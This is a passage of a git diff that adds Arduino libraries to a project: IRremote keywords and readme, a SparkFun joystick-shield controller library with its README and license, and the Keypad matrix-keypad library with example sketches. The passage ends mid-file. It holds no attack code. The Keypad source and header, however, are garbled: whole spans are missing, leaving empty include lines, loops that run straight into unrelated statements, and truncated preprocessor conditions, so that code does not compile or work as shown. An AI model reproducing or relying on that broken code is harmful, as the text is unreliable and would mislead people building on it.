KEYWORD2 +sendMitsubishi KEYWORD2 +sendRaw KEYWORD2 +sendRC5 KEYWORD2 +sendRC6 KEYWORD2 +sendDISH KEYWORD2 +sendSharp KEYWORD2 +sendPanasonic KEYWORD2 +sendJVC KEYWORD2 + +# +####################################### +# Constants (LITERAL1) +####################################### + +NEC LITERAL1 +SONY LITERAL1 +SANYO LITERAL1 +MITSUBISHI LITERAL1 +RC5 LITERAL1 +RC6 LITERAL1 +DISH LITERAL1 +SHARP LITERAL1 +PANASONIC LITERAL1 +JVC LITERAL1 +UNKNOWN LITERAL1 +REPEAT LITERAL1 \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/IRRemote/readme b/Projects/libraries/Installed_libs/IRRemote/readme new file mode 100755 index 0000000..3de6526 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/readme @@ -0,0 +1,14 @@ +This is the IRremote library for the Arduino. + +To download from github (http://github.com/shirriff/Arduino-IRremote), click on the "Downloads" link in the upper right, click "Download as zip", and get a zip file. Unzip it and rename the directory shirriff-Arduino-IRremote-nnn to IRremote + +To install, move the downloaded IRremote directory to: +arduino-1.x/libraries/IRremote +where arduino-1.x is your Arduino installation directory + +After installation you should have files such as: +arduino-1.x/libraries/IRremote/IRremote.cpp + +For details on the library see the Wiki on github or the blog post http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + +Copyright 2009-2012 Ken Shirriff diff --git a/Projects/libraries/Installed_libs/JoystickController/.gitignore b/Projects/libraries/Installed_libs/JoystickController/.gitignore new file mode 100755 index 0000000..496ee2c --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/.gitignore @@ -0,0 +1 @@ +.DS_Store \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino b/Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino new file mode 100755 index 0000000..ab6992f --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino @@ -0,0 +1,62 @@ +#include "JoystickController.h" + +JoystickController controller; + +void setup(){ + Serial.begin(9600); +} + +void loop(){ + controller.update(); + + if (controller.selectButtonPressed()){ + Serial.println("S"); + } + + if (controller.upButtonPressed()){ + Serial.println("U"); + } + + if (controller.downButtonPressed()){ + Serial.println("D"); + } + + if (controller.leftButtonPressed()){ + Serial.println("L"); + } + + if (controller.rightButtonPressed()){ + Serial.println("R"); + } + + int direct = controller.getDirection(); + + switch (direct){ + case JoystickController::DIRECTION_UP: + Serial.println("UP"); + break; + case JoystickController::DIRECTION_UP_RIGHT: + Serial.println("UP-RIGHT"); + break; + case JoystickController::DIRECTION_RIGHT: + Serial.println("RIGHT"); + break; + case JoystickController::DIRECTION_DOWN_RIGHT: + Serial.println("DOWN-RIGHT"); + break; + case JoystickController::DIRECTION_DOWN: + Serial.println("DOWN"); + break; + case JoystickController::DIRECTION_DOWN_LEFT: + Serial.println("DOWN-LEFT"); + break; + case JoystickController::DIRECTION_LEFT: + Serial.println("LEFT"); + break; + case JoystickController::DIRECTION_UP_LEFT: + Serial.println("UP-LEFT"); + break; + } + + delay(100); +} diff --git a/Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp b/Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp new file mode 100755 index 0000000..23c0507 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp @@ -0,0 +1,184 @@ +#include "Arduino.h" +#include "JoystickController.h" + +enum PINS{ + PIN_ANALOG_X = 0, + PIN_ANALOG_Y = 1, + PIN_BUTTON_SELECT = 2, + PIN_BUTTON_UP = 4, + PIN_BUTTON_DOWN = 5, + PIN_BUTTON_LEFT = 6, + PIN_BUTTON_RIGHT = 3 +}; + +JoystickController::JoystickController(int low, int high){ + _threshouldLow = low; + _threshouldHigh = high; + this->_setup(); +} + +void JoystickController::update(){ + this->_reset(); + this->_updateDirection(); + this->_updateButtons(); +} + +int JoystickController::getDirection(){ + return _direction; +} + +bool JoystickController::selectButtonPressed(){ + return _selectButtonPressed; +} + +bool JoystickController::upButtonPressed(){ + return _upButtonPressed; +} + +bool JoystickController::downButtonPressed(){ + return _downButtonPressed; +} + +bool JoystickController::leftButtonPressed(){ + return _leftButtonPressed; +} + +bool JoystickController::rightButtonPressed(){ + return _rightButtonPressed; +} + +/** + * Protected. + */ +void JoystickController::_reset(){ + _direction = DIRECTION_NONE; + _selectButtonPressed = false; + _upButtonPressed = false; + _downButtonPressed = false; + _leftButtonPressed = false; + _rightButtonPressed = false; +} + +/** + * Protected. + */ +void JoystickController::_setup(){ + pinMode(PIN_BUTTON_SELECT, INPUT); + digitalWrite(PIN_BUTTON_SELECT, HIGH); + + pinMode(PIN_BUTTON_UP, INPUT); + digitalWrite(PIN_BUTTON_UP, HIGH); + + pinMode(PIN_BUTTON_DOWN, INPUT); + digitalWrite(PIN_BUTTON_DOWN, HIGH); + + pinMode(PIN_BUTTON_LEFT, INPUT); + digitalWrite(PIN_BUTTON_LEFT, HIGH); + + pinMode(PIN_BUTTON_RIGHT, INPUT); + digitalWrite(PIN_BUTTON_RIGHT, HIGH); + + this->_reset(); +} + +/** + * Protected. + */ +void JoystickController::_updateDirection(){ + const int NONE = 0; + const int POSITIVE = 1; + const int NEGATIVE = -1; + + int x = analogRead(PIN_ANALOG_X); + int y = analogRead(PIN_ANALOG_Y); + + int directX = NONE; + int directY = NONE; + + if (x < _threshouldLow){ + directX = NEGATIVE; + } + + if (x > _threshouldHigh){ + directX = POSITIVE; + } + + if (y < _threshouldLow){ + directY = NEGATIVE; + } + + if (y > _threshouldHigh){ + directY = POSITIVE; + } + + if (directX == NONE){ + if (directY == POSITIVE){ + _direction = DIRECTION_UP; + } + if (directY == NEGATIVE){ + _direction = DIRECTION_DOWN; + } + } + + if (directX == POSITIVE){ + if (directY == NONE){ + _direction = DIRECTION_RIGHT; + } + if (directY == POSITIVE){ + _direction = DIRECTION_UP_RIGHT; + } + if (directY == NEGATIVE){ + _direction = DIRECTION_DOWN_RIGHT; + } + } + + if (directX == NEGATIVE){ + if (directY == NONE){ + _direction = DIRECTION_LEFT; + } + if (directY == POSITIVE){ + _direction = DIRECTION_UP_LEFT; + } + if (directY == NEGATIVE){ + _direction = DIRECTION_DOWN_LEFT; + } + } +} + +/** + * Protected. + */ +void JoystickController::_updateButtons(){ + int S = digitalRead(PIN_BUTTON_SELECT); + int U = digitalRead(PIN_BUTTON_UP); + int D = digitalRead(PIN_BUTTON_DOWN); + int L = digitalRead(PIN_BUTTON_LEFT); + int R = digitalRead(PIN_BUTTON_RIGHT); + + if (this->_buttonPressed(S)){ + _selectButtonPressed = true; + } + + if (this->_buttonPressed(U)){ + _upButtonPressed = true; + } + + if (this->_buttonPressed(D)){ + _downButtonPressed = true; + } + + if (this->_buttonPressed(L)){ + _leftButtonPressed = true; + } + + if (this->_buttonPressed(R)){ + _rightButtonPressed = true; + } +} + +/** + * Protected. + */ +bool JoystickController::_buttonPressed(int state){ + return (state == LOW); +} diff --git a/Projects/libraries/Installed_libs/JoystickController/JoystickController.h b/Projects/libraries/Installed_libs/JoystickController/JoystickController.h new file mode 100755 index 0000000..8e01087 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/JoystickController.h @@ -0,0 +1,71 @@ +#ifndef __JOYSTICKCONTROLLER_H__ +#define __JOYSTICKCONTROLLER_H__ + +class JoystickController{ + protected: + static const int DEFAULT_LOW = 490; + static const int DEFAULT_HIGH = 530; + + int _threshouldLow; + int _threshouldHigh; + + int _direction; + bool _selectButtonPressed; + bool _upButtonPressed; + bool _downButtonPressed; + bool _leftButtonPressed; + bool _rightButtonPressed; + + void _setup(); + void _reset(); + void _updateDirection(); + void _updateButtons(); + bool _buttonPressed(int state); + + public: + /** + * Directions in the integer format. + */ + static const int DIRECTION_NONE = 0; + static const int DIRECTION_UP = 1; + static const int DIRECTION_UP_RIGHT = 2; + static const int DIRECTION_RIGHT = 3; + static const int DIRECTION_DOWN_RIGHT = 4; + static const int DIRECTION_DOWN = 5; + static const int DIRECTION_DOWN_LEFT = 6; + static const int DIRECTION_LEFT = 7; + static const int DIRECTION_UP_LEFT = 8; + + /** + * Constructor. The first argument specifies the lower threshould value for the directional key pad, + * below which the controller is assumed to set left/down in the horizontal/vertical direction. + * The second argument specifies the upper threshould value, + * above which the controller is assumed to set right/up in the horizontal/vertical direction. + */ + JoystickController(int low = DEFAULT_LOW, int high = DEFAULT_HIGH); + + /** + * Must get called in the main loop. + */ + void update(); + + /** + * Returns the current direction in the integer format. + */ + int getDirection(); + + /** + * Returns true if a button is being pressed, otherwise false. + */ + bool upButtonPressed(); + bool downButtonPressed(); + bool leftButtonPressed(); + bool rightButtonPressed(); + + /** + * Returns true if the select button (directional keypad) is being pressed, otherwise false. + */ + bool selectButtonPressed(); +}; + +#endif diff --git a/Projects/libraries/Installed_libs/JoystickController/LICENSE b/Projects/libraries/Installed_libs/JoystickController/LICENSE new file mode 100755 index 0000000..a51af92 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/LICENSE @@ -0,0 +1,7 @@ +Copyright (c) 2012 boreal-kiss.com + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/JoystickController/README.md b/Projects/libraries/Installed_libs/JoystickController/README.md new file mode 100755 index 0000000..e425463 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/README.md @@ -0,0 +1,120 @@ +# JoystickController + +Fully compatible with SparkFun's [Arduino joystick shield](https://www.sparkfun.com/products/9760?). The library lets you easily fetch the current status of the joystick (demo video is [here](https://vimeo.com/49010406)). Implementation is quite simple; + + JoystickController(int low = DEFAULT_LOW, int high = DEFAULT_HIGH) + +is a constructor. The first argument specifies the lower threshold value for the directional key pad, below which the controller is assumed to set left/down in the horizontal/vertical direction. The second argument specifies the upper threshold value, above which the controller is assumed to set right/up in the horizontal/vertical direction. If arguments are not specified, the following default values will be used: + + static const int DEFAULT_LOW = 490; + static const int DEFAULT_HIGH = 530; + +For more information about the threshold see the following article; [How do I find the current direction of the joystick?](http://www.sparkfun.com/tutorials/171#direction) + + void update() + +must get called in the main loop in order for the library to communicate with the joystick. + + int getDirection() + +returns the current direction of the directional keypad as integer values that are defined as class static variables: + + static const int DIRECTION_NONE = 0; + static const int DIRECTION_UP = 1; + static const int DIRECTION_UP_RIGHT = 2; + static const int DIRECTION_RIGHT = 3; + static const int DIRECTION_DOWN_RIGHT = 4; + static const int DIRECTION_DOWN = 5; + static const int DIRECTION_DOWN_LEFT = 6; + static const int DIRECTION_LEFT = 7; + static const int DIRECTION_UP_LEFT = 8; + +Finally buttons' status can be fetched from the following functions: + + bool upButtonPressed() + bool downButtonPressed() + bool leftButtonPressed() + bool rightButtonPressed() + bool selectButtonPressed() + +They return true if a button is being pressed, otherwise false. + +## Example + +Here is a simple example for the library implementation. + + #include "JoystickController.h" + + JoystickController controller; + + void setup(){ + Serial.begin(9600); + } + + void loop(){ + controller.update(); + + if (controller.selectButtonPressed()){ + Serial.println("S"); + } + + if (controller.upButtonPressed()){ + Serial.println("U"); + } + + if (controller.downButtonPressed()){ + Serial.println("D"); + } + + if (controller.leftButtonPressed()){ + Serial.println("L"); + } + + if (controller.rightButtonPressed()){ + Serial.println("R"); + } + + int direct = controller.getDirection(); + + switch (direct){ + case JoystickController::DIRECTION_UP: + Serial.println("UP"); + break; + case JoystickController::DIRECTION_UP_RIGHT: + Serial.println("UP-RIGHT"); + break; + case JoystickController::DIRECTION_RIGHT: + Serial.println("RIGHT"); + break; + case JoystickController::DIRECTION_DOWN_RIGHT: + Serial.println("DOWN-RIGHT"); + break; + case JoystickController::DIRECTION_DOWN: + Serial.println("DOWN"); + break; + case JoystickController::DIRECTION_DOWN_LEFT: + Serial.println("DOWN-LEFT"); + break; + case JoystickController::DIRECTION_LEFT: + Serial.println("LEFT"); + break; + case JoystickController::DIRECTION_UP_LEFT: + Serial.println("UP-LEFT"); + break; + } + + delay(100); + } + +## Related articles + +* [Arduino joystick controller library](http://blog.boreal-kiss.net/2012/09/07/arduino-joystick-controller-library/) + +## License + +This project is provided under the terms of the [MIT License](http://www.opensource.org/licenses/mit-license.php). + +## Contact + +* [http://blog.boreal-kiss.net/](http://blog.boreal-kiss.net/) +* [http://twitter.com/borealkiss](http://twitter.com/borealkiss) \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/JoystickController/keywords.txt b/Projects/libraries/Installed_libs/JoystickController/keywords.txt new file mode 100755 index 0000000..bc8bf83 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/keywords.txt @@ -0,0 +1,35 @@ +####################################### +# Syntax Coloring Map for JoystickController +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +JoystickController KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +update KEYWORD2 +getDirection KEYWORD2 +selectButtonPressed KEYWORD2 +upButtonPressed KEYWORD2 +downButtonPressed KEYWORD2 +leftButtonPressed KEYWORD2 +rightButtonPressed KEYWORD2 + +####################################### +# Constants (LITERAL1) +####################################### + +DIRECTION_NONE LITERAL1 +DIRECTION_UP LITERAL1 +DIRECTION_UP_RIGHT LITERAL1 +DIRECTION_RIGHT LITERAL1 +DIRECTION_DOWN_RIGHT LITERAL1 +DIRECTION_DOWN LITERAL1 +DIRECTION_DOWN_LEFT LITERAL1 +DIRECTION_LEFT LITERAL1 +DIRECTION_UP_LEFT LITERAL1 diff --git a/Projects/libraries/Installed_libs/Keypad/Keypad.cpp b/Projects/libraries/Installed_libs/Keypad/Keypad.cpp new file mode 100755 index 0000000..f146a6d --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/Keypad.cpp @@ -0,0 +1,293 @@ +/* +|| +|| @file Keypad.cpp +|| @version 3.1 +|| @author Mark Stanley, Alexander Brevig +|| @contact mstanley@technologist.com, alexanderbrevig@gmail.com +|| +|| @description +|| | This library provides a simple interface for using matrix +|| | keypads. It supports multiple keypresses while maintaining +|| | backwards compatibility with the old single key library. +|| | It also supports user selectable pins and definable keymaps. +|| # +|| +|| @license +|| | This library is free software; you can redistribute it and/or +|| | modify it under the terms of the GNU Lesser General Public +|| | License as published by the Free Software Foundation; version +|| | 2.1 of the License. +|| | +|| | This library is distributed in the hope that it will be useful, +|| | but WITHOUT ANY WARRANTY; without even the implied warranty of +|| | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +|| | Lesser General Public License for more details. +|| | +|| | You should have received a copy of the GNU Lesser General Public +|| | License along with this library; if not, write to the Free Software +|| | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +|| # +|| +*/ +#include + +// <> Allows custom keymap, pin configuration, and keypad sizes. +Keypad::Keypad(char *userKeymap, byte *row, byte *col, byte numRows, byte numCols) { + rowPins = row; + columnPins = col; + sizeKpd.rows = numRows; + sizeKpd.columns = numCols; + + begin(userKeymap); + + setDebounceTime(10); + setHoldTime(500); + keypadEventListener = 0; + + startTime = 0; + single_key = false; +} + +// Let the user define a keymap - assume the same row/column count as defined in constructor +void Keypad::begin(char *userKeymap) { + keymap = userKeymap; +} + +// Returns a single key only. Retained for backwards compatibility. +char Keypad::getKey() { + single_key = true; + + if (getKeys() && key[0].stateChanged && (key[0].kstate==PRESSED)) + return key[0].kchar; + + single_key = false; + + return NO_KEY; +} + +// Populate the key list. +bool Keypad::getKeys() { + bool keyActivity = false; + + // Limit how often the keypad is scanned. This makes the loop() run 10 times as fast. + if ( (millis()-startTime)>debounceTime ) { + scanKeys(); + keyActivity = updateList(); + startTime = millis(); + } + + return keyActivity; +} + +// Private : Hardware scan +void Keypad::scanKeys() { + // Re-intialize the row pins. Allows sharing these pins with other hardware. + for (byte r=0; r -1) { + nextKeyState(idx, button); + } + // Key is NOT on the list so add it. + if ((idx == -1) && button) { + for (byte i=0; iholdTime) // Waiting for a key HOLD... + transitionTo (idx, HOLD); + else if (button==OPEN) // or for a key to be RELEASED. + transitionTo (idx, RELEASED); + break; + case HOLD: + if (button==OPEN) + transitionTo (idx, RELEASED); + break; + case RELEASED: + transitionTo (idx, IDLE); + break; + } +} + +// New in 2.1 +bool Keypad::isPressed(char keyChar) { + for (byte i=0; i= 100 +#include "Arduino.h" +#else +#include "WProgram.h" +#endif + +// bperrybap - Thanks for a well reasoned argument and the following macro(s). +// See http://arduino.cc/forum/index.php/topic,142041.msg1069480.html#msg1069480 +#ifndef INPUT_PULLUP +#warning "Using pinMode() INPUT_PULLUP AVR emulation" +#define INPUT_PULLUP 0x2 +#define pinMode(_pin, _mode) _mypinMode(_pin, _mode) +#define _mypinMode(_pin, _mode) \ +do { \ + if(_mode == INPUT_PULLUP) \ + pinMode(_pin, INPUT); \ + digitalWrite(_pin, 1); \ + if(_mode != INPUT_PULLUP) \ + pinMode(_pin, _mode); \ +}while(0) +#endif + + +#define OPEN LOW +#define CLOSED HIGH + +typedef char KeypadEvent; +typedef unsigned int uint; +typedef unsigned long ulong; + +// Made changes according to this post http://arduino.cc/forum/index.php?topic=58337.0 +// by Nick Gammon. Thanks for the input Nick. It actually saved 78 bytes for me. :) +typedef struct { + byte rows; + byte columns; +} KeypadSize; + +#define LIST_MAX 10 // Max number of keys on the active list. +#define MAPSIZE 10 // MAPSIZE is the number of rows (times 16 columns) +#define makeKeymap(x) ((char*)x) + + +//class Keypad : public Key, public HAL_obj { +class Keypad : public Key { +public: + + Keypad(char *userKeymap, byte *row, byte *col, byte numRows, byte numCols); + + virtual void pin_mode(byte pinNum, byte mode) { pinMode(pinNum, mode); } + virtual void pin_write(byte pinNum, boolean level) { digitalWrite(pinNum, level); } + virtual int pin_read(byte pinNum) { return digitalRead(pinNum); } + + uint bitMap[MAPSIZE]; // 10 row x 16 column array of bits. Except Due which has 32 columns. + Key key[LIST_MAX]; + unsigned long holdTimer; + + char getKey(); + bool getKeys(); + KeyState getState(); + void begin(char *userKeymap); + bool isPressed(char keyChar); + void setDebounceTime(uint); + void setHoldTime(uint); + void addEventListener(void (*listener)(char)); + int findInList(char keyChar); + int findInList(int keyCode); + char waitForKey(); + bool keyStateChanged(); + byte numKeys(); + +private: + unsigned long startTime; + char *keymap; + byte *rowPins; + byte *columnPins; + KeypadSize sizeKpd; + uint debounceTime; + uint holdTime; + bool single_key; + + void scanKeys(); + bool updateList(); + void nextKeyState(byte n, boolean button); + void transitionTo(byte n, KeyState nextState); + void (*keypadEventListener)(char); +}; + +#endif + +/* +|| @changelog +|| | 3.1 2013-01-15 - Mark Stanley : Fixed missing RELEASED & IDLE status when using a single key. +|| | 3.0 2012-07-12 - Mark Stanley : Made library multi-keypress by default. (Backwards compatible) +|| | 3.0 2012-07-12 - Mark Stanley : Modified pin functions to support Keypad_I2C +|| | 3.0 2012-07-12 - Stanley & Young : Removed static variables. Fix for multiple keypad objects. +|| | 3.0 2012-07-12 - Mark Stanley : Fixed bug that caused shorted pins when pressing multiple keys. +|| | 2.0 2011-12-29 - Mark Stanley : Added waitForKey(). +|| | 2.0 2011-12-23 - Mark Stanley : Added the public function keyStateChanged(). +|| | 2.0 2011-12-23 - Mark Stanley : Added the private function scanKeys(). +|| | 2.0 2011-12-23 - Mark Stanley : Moved the Finite State Machine into the function getKeyState(). +|| | 2.0 2011-12-23 - Mark Stanley : Removed the member variable lastUdate. Not needed after rewrite. +|| | 1.8 2011-11-21 - Mark Stanley : Added test to determine which header file to compile, +|| | WProgram.h or Arduino.h. +|| | 1.8 2009-07-08 - Alexander Brevig : No longer uses arrays +|| | 1.7 2009-06-18 - Alexander Brevig : This library is a Finite State Machine every time a state changes +|| | the keypadEventListener will trigger, if set +|| | 1.7 2009-06-18 - Alexander Brevig : Added setDebounceTime setHoldTime specifies the amount of +|| | microseconds before a HOLD state triggers +|| | 1.7 2009-06-18 - Alexander Brevig : Added transitionTo +|| | 1.6 2009-06-15 - Alexander Brevig : Added getState() and state variable +|| | 1.5 2009-05-19 - Alexander Brevig : Added setHoldTime() +|| | 1.4 2009-05-15 - Alexander Brevig : Added addEventListener +|| | 1.3 2009-05-12 - Alexander Brevig : Added lastUdate, in order to do simple debouncing +|| | 1.2 2009-05-09 - Alexander Brevig : Changed getKey() +|| | 1.1 2009-04-28 - Alexander Brevig : Modified API, and made variables private +|| | 1.0 2007-XX-XX - Mark Stanley : Initial Release +|| # +*/ diff --git a/Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino new file mode 100755 index 0000000..0effbb9 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino @@ -0,0 +1,37 @@ +/* @file CustomKeypad.pde +|| @version 1.0 +|| @author Alexander Brevig +|| @contact alexanderbrevig@gmail.com +|| +|| @description +|| | Demonstrates changing the keypad size and key values. +|| # +*/ +#include + +const byte ROWS = 4; //four rows +const byte COLS = 4; //four columns +//define the cymbols on the buttons of the keypads +char hexaKeys[ROWS][COLS] = { + {'0','1','2','3'}, + {'4','5','6','7'}, + {'8','9','A','B'}, + {'C','D','E','F'} +}; +byte rowPins[ROWS] = {3, 2, 1, 0}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {7, 6, 5, 4}; //connect to the column pinouts of the keypad + +//initialize an instance of class NewKeypad +Keypad customKeypad = Keypad( makeKeymap(hexaKeys), rowPins, colPins, ROWS, COLS); + +void setup(){ + Serial.begin(9600); +} + +void loop(){ + char customKey = customKeypad.getKey(); + + if (customKey){ + Serial.println(customKey); + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino new file mode 100755 index 0000000..530b523 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino @@ -0,0 +1,213 @@ +/* @file DynamicKeypad.pde +|| @version 1.2 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| 07/11/12 - Re-modified (from DynamicKeypadJoe2) to use direct-connect kpds +|| 02/28/12 - Modified to use I2C i/o G. D. (Joe) Young +|| +|| +|| @dificulty: Intermediate +|| +|| @description +|| | This is a demonstration of keypadEvents. It's used to switch between keymaps +|| | while using only one keypad. The main concepts being demonstrated are: +|| | +|| | Using the keypad events, PRESSED, HOLD and RELEASED to simplify coding. +|| | How to use setHoldTime() and why. +|| | Making more than one thing happen with the same key. +|| | Assigning and changing keymaps on the fly. +|| | +|| | Another useful feature is also included with this demonstration although +|| | it's not really one of the concepts that I wanted to show you. If you look +|| | at the code in the PRESSED event you will see that the first section of that +|| | code is used to scroll through three different letters on each key. For +|| | example, pressing the '2' key will step through the letters 'd', 'e' and 'f'. +|| | +|| | +|| | Using the keypad events, PRESSED, HOLD and RELEASED to simplify coding +|| | Very simply, the PRESSED event occurs imediately upon detecting a pressed +|| | key and will not happen again until after a RELEASED event. When the HOLD +|| | event fires it always falls between PRESSED and RELEASED. However, it will +|| | only occur if a key has been pressed for longer than the setHoldTime() interval. +|| | +|| | How to use setHoldTime() and why +|| | Take a look at keypad.setHoldTime(500) in the code. It is used to set the +|| | time delay between a PRESSED event and the start of a HOLD event. The value +|| | 500 is in milliseconds (mS) and is equivalent to half a second. After pressing +|| | a key for 500mS the HOLD event will fire and any code contained therein will be +|| | executed. This event will stay active for as long as you hold the key except +|| | in the case of bug #1 listed above. +|| | +|| | Making more than one thing happen with the same key. +|| | If you look under the PRESSED event (case PRESSED:) you will see that the '#' +|| | is used to print a new line, Serial.println(). But take a look at the first +|| | half of the HOLD event and you will see the same key being used to switch back +|| | and forth between the letter and number keymaps that were created with alphaKeys[4][5] +|| | and numberKeys[4][5] respectively. +|| | +|| | Assigning and changing keymaps on the fly +|| | You will see that the '#' key has been designated to perform two different functions +|| | depending on how long you hold it down. If you press the '#' key for less than the +|| | setHoldTime() then it will print a new line. However, if you hold if for longer +|| | than that it will switch back and forth between numbers and letters. You can see the +|| | keymap changes in the HOLD event. +|| | +|| | +|| | In addition... +|| | You might notice a couple of things that you won't find in the Arduino language +|| | reference. The first would be #include . This is a standard library from +|| | the C programming language and though I don't normally demonstrate these types of +|| | things from outside the Arduino language reference I felt that its use here was +|| | justified by the simplicity that it brings to this sketch. +|| | That simplicity is provided by the two calls to isalpha(key) and isdigit(key). +|| | The first one is used to decide if the key that was pressed is any letter from a-z +|| | or A-Z and the second one decides if the key is any number from 0-9. The return +|| | value from these two functions is either a zero or some positive number greater +|| | than zero. This makes it very simple to test a key and see if it is a number or +|| | a letter. So when you see the following: +|| | +|| | if (isalpha(key)) // this tests to see if your key was a letter +|| | +|| | And the following may be more familiar to some but it is equivalent: +|| | +|| | if (isalpha(key) != 0) // this tests to see if your key was a letter +|| | +|| | And Finally... +|| | To better understand how the event handler affects your code you will need to remember +|| | that it gets called only when you press, hold or release a key. However, once a key +|| | is pressed or held then the event handler gets called at the full speed of the loop(). +|| | +|| # +*/ +#include +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +// Define the keymaps. The blank spot (lower left) is the space character. +char alphaKeys[ROWS][COLS] = { + { 'a','d','g' }, + { 'j','m','p' }, + { 's','v','y' }, + { ' ','.','#' } +}; + +char numberKeys[ROWS][COLS] = { + { '1','2','3' }, + { '4','5','6' }, + { '7','8','9' }, + { ' ','0','#' } +}; + +boolean alpha = false; // Start with the numeric keypad. + +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +// Create two new keypads, one is a number pad and the other is a letter pad. +Keypad numpad( makeKeymap(numberKeys), rowPins, colPins, sizeof(rowPins), sizeof(colPins) ); +Keypad ltrpad( makeKeymap(alphaKeys), rowPins, colPins, sizeof(rowPins), sizeof(colPins) ); + + +unsigned long startTime; +const byte ledPin = 13; // Use the LED on pin 13. + +void setup() { + Serial.begin(9600); + pinMode(ledPin, OUTPUT); + digitalWrite(ledPin, LOW); // Turns the LED on. + ltrpad.begin( makeKeymap(alphaKeys) ); + numpad.begin( makeKeymap(numberKeys) ); + ltrpad.addEventListener(keypadEvent_ltr); // Add an event listener. + ltrpad.setHoldTime(500); // Default is 1000mS + numpad.addEventListener(keypadEvent_num); // Add an event listener. + numpad.setHoldTime(500); // Default is 1000mS +} + +char key; + +void loop() { + + if( alpha ) + key = ltrpad.getKey( ); + else + key = numpad.getKey( ); + + if (alpha && millis()-startTime>100) { // Flash the LED if we are using the letter keymap. + digitalWrite(ledPin,!digitalRead(ledPin)); + startTime = millis(); + } +} + +static char virtKey = NO_KEY; // Stores the last virtual key press. (Alpha keys only) +static char physKey = NO_KEY; // Stores the last physical key press. (Alpha keys only) +static char buildStr[12]; +static byte buildCount; +static byte pressCount; + +static byte kpadState; + +// Take care of some special events. + +void keypadEvent_ltr(KeypadEvent key) { + // in here when in alpha mode. + kpadState = ltrpad.getState( ); + swOnState( key ); +} // end ltrs keypad events + +void keypadEvent_num( KeypadEvent key ) { + // in here when using number keypad + kpadState = numpad.getState( ); + swOnState( key ); +} // end numbers keypad events + +void swOnState( char key ) { + switch( kpadState ) { + case PRESSED: + if (isalpha(key)) { // This is a letter key so we're using the letter keymap. + if (physKey != key) { // New key so start with the first of 3 characters. + pressCount = 0; + virtKey = key; + physKey = key; + } + else { // Pressed the same key again... + virtKey++; // so select the next character on that key. + pressCount++; // Tracks how many times we press the same key. + } + if (pressCount > 2) { // Last character reached so cycle back to start. + pressCount = 0; + virtKey = key; + } + Serial.print(virtKey); // Used for testing. + } + if (isdigit(key) || key == ' ' || key == '.') + Serial.print(key); + if (key == '#') + Serial.println(); + break; + + case HOLD: + if (key == '#') { // Toggle between keymaps. + if (alpha == true) { // We are currently using a keymap with letters + alpha = false; // Now we want a keymap with numbers. + digitalWrite(ledPin, LOW); + } + else { // We are currently using a keymap with numbers + alpha = true; // Now we want a keymap with letters. + } + } + else { // Some key other than '#' was pressed. + buildStr[buildCount++] = (isalpha(key)) ? virtKey : key; + buildStr[buildCount] = '\0'; + Serial.println(); + Serial.println(buildStr); + } + break; + + case RELEASED: + if (buildCount >= sizeof(buildStr)) buildCount = 0; // Our string is full. Start fresh. + break; + } // end switch-case +}// end switch on state function + diff --git a/Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino new file mode 100755 index 0000000..4bc2883 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino @@ -0,0 +1,73 @@ +/* @file EventSerialKeypad.pde + || @version 1.0 + || @author Alexander Brevig + || @contact 